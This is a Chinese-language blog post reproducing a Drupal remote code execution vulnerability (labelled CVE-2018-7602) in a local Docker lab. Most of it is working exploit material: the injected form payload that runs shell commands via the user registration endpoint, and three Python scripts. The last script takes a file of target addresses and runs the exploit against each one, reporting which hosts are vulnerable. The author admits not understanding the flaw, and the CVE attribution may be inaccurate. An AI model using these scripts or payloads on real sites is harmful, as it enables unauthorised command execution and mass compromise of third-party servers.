Drupal 远程代码执行漏洞(CVE-2018-7602)

Drupal介绍

Drupal是使用PHP语言编写的开源内容管理框架(CMF),它由内容管理系统(CMS)和PHP开发框架(Framework)共同构成,可以用来建设从个人网站到大型社区网站。

漏洞描述

是由两个问题叠加而成,一、在程序buildform处,用户传入的变量没有受到限制,导致可以传入mali[#post_render]、mail[#type]这样得变量。二、使用uploadAjaxCallback方法中得$from_parents变量是直接通过get(‘element——parents’)得来的,结合之后就造成了打洞。

受影响得版本有 Drupal 6,7,8等多个子版本。

漏洞复现

靶机地址:192.168.1.134

攻击地址:192.168.1.128

启动漏洞环境,

docker-compose up -d

访问http://192.168.1.134:8080/,访问的同时burp进行抓包

image-20220217100554355

起始页面。有个登陆的地方,进入后看见可以进行注册,开始注册抓包。

image-20220217102609824

抓到了一个传输的包,传输完成后会在网页上显示传入照片的小图

image-20220217103045365

这个地址就是执行恶意待码的地方

form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=exec&mail[#type]=markup&mail[#markup]=id

image-20220217104804651

并没有执行成功,尝试其他的地方,发现都是一样的,漏洞是真的难发现。查看别人的分析,在程序调用的时候,$from_parents变量是从get中传入的,意味着这个变量是可控的,所有上传图片中的地址需要改成element_parents=account/mail/%23value至于为什么是这个三个参数传入变量中,我没看明白。修改传入地址为

/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax&_wrapper_format=drupal_ajax

image-20220217110536750

只需要修改命令id命令为其他命令就可以进行恶意破坏。

脚本编写

先构建POST的请求包直接携带恶意代码,然后就是对URL可输入和输入内容的筛选输出,最后开启自动化。

  • 第一步,构建POST请求
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import requests

url = 'http://192.168.1.134:8080/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax&_wrapper_format=drupal_ajax' #目标地址
header = {
'Content-Type':'application/x-www-form-urlencoded',
'Upgrade-Insecure-Requests':'1',
'Origin':'http://192.168.1.134:8080',
'Cache-Control':'max-age=0',
'Referer':'http://192.168.1.134:8080/user/login',
'Accept-Encoding':'gzip, deflate',
'Accept-Language':'zh-CN,zh;q=0.9',
'Connection':'close',
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.186 Safari/537.36',
'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9'
} #表头
body = {'form_id':"user_register_form",'_drupal_ajax':"1","mail[#post_render][]":"exec","mail[#type]":'markup','mail[#markup]':"whoami"} #post请求包内容

cve = requests.post(url=url,headers=header,data=body) #发送请求包

print(cve.text) #查看返回包内容

这里构建post数据的时候,直接将所有数据一起发送出去了,并没有仔细看别人的分析之类的,导致耽误时间过长,重新查看才发现,不是一个变量传入请求的。这里重新补一张图。总归是菜还心急。而且还是没有看出来地址原因。了解到是传入的参数

image-20220217212209015

  • 第二步,筛选输入内容对地址的更改,对成功的判断
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import requests
import re

ur = input('请输入上传网址:') #输入网址
comm = input('输入执行命令:') #输入命令
url = ur + '/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax&_wrapper_format=drupal_ajax' #整合网址定位到上传图片位置
header = {
'Content-Type':'application/x-www-form-urlencoded',
'Upgrade-Insecure-Requests':'1',
'Origin':'http://192.168.1.134:8080',
'Cache-Control':'max-age=0',
'Referer':'http://192.168.1.134:8080/user/login',
'Accept-Encoding':'gzip, deflate',
'Accept-Language':'zh-CN,zh;q=0.9',
'Connection':'close',
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.186 Safari/537.36',
'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9'
}
body = {'form_id':"user_register_form",'_drupal_ajax':"1","mail[#post_render][]":"exec","mail[#type]":'markup','mail[#markup]':"whoami"}
if comm != '': #判断是否输入命令,
body['mail[#markup]'] = comm #更改post包中的命令
cve = requests.post(url=url,headers=header,data=body) #发包
s = r'a":"(.*?)\\u003Cspan' #匹配命令输出的正则表达式
inp = re.findall(s,cve.text) #对返回包进行匹配
if not inp: #判断命令是否执行成功
print('错误')
print(inp) #输出执行结果
  • 第三步、进行地址字典导入,进行判断
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import requests
import re

with open('D:/桌面/211.txt','r') as file: #以with方式打开文件
for files in file: #按行读取文件
if not files: #读完就退出
break
url = files + '/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax&_wrapper_format=drupal_ajax'
header = {
'Content-Type':'application/x-www-form-urlencoded',
'Upgrade-Insecure-Requests':'1',
'Origin':'http://192.168.1.134:8080',
'Cache-Control':'max-age=0',
'Referer':'http://192.168.1.134:8080/user/login',
'Accept-Encoding':'gzip, deflate',
'Accept-Language':'zh-CN,zh;q=0.9',
'Connection':'close',
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.186 Safari/537.36',
'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9'
}
body = {'form_id':"user_register_form",'_drupal_ajax':"1","mail[#post_render][]":"exec","mail[#type]":'markup','mail[#markup]':"whoami"}
cve = requests.post(url=url,headers=header,data=body)
s = r'a":"(.*?)\\u003Cspan'
inp = re.findall(s,cve.text)
if not inp: #对结果进行判断
print('错误')
else:
print(files + '漏洞存在') #存在漏洞就输出地址

最后一步取消了命令修改,为了节省时间,直接跑命令。

总结

对这个漏洞的细节没有搞得很清楚,对源代码的阅读太差劲了。这个漏洞的地址比较隐蔽,进行目标测试时,需要实时进行流量抓捕。为节省时间没有理解传输的数据包就进行操作,耽误大量时间得不偿失。

------ 本文结束------